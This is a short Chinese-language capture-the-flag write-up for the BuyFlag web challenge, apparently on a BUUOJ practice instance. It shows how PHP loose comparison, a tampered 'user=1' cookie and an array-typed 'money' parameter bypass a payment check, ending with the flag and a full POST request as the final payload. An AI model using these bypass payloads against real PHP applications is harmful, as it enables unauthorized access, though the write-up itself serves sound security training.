[极客大挑战 2019]BuyFlag 1

[极客大挑战 2019]BuyFlag 1

打开实例发现pay.php页面，有提示信息

打开源码发现password post提交逻辑

burpsuite抓包传参，传入money和password参数，这里password是==弱比较,所以加个字符就可以绕过

password=404a&money=100000000

回显发现并没有变化

注意到学生需要CUIT(Only Cuit's students can buy the FLAG)

尝试修改头信息，将cookie验证修改为1（0 false,1 ture）

成功绕过身份验证（我这边bp不知道为啥一直提示password传不过去）,所以我换了hacker bar提交；这边显示密码正确，身份验证也对了，但是money错误，怀疑是长度问题。（you have not enough money,loser~）

采用数组绕过,成功获得flag

password=404a&money[]=100000000

flag{46a2d632-843d-41bf-9a8a-42aac15baf18}

最终payload

POST /pay.php HTTP/1.1
Host: 8cb0e35d-dad9-4a41-86ca-b4cfdf800dd8.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://8cb0e35d-dad9-4a41-86ca-b4cfdf800dd8.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://8cb0e35d-dad9-4a41-86ca-b4cfdf800dd8.node5.buuoj.cn:81/pay.php
Cookie: user=1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=404a&money[]=100000000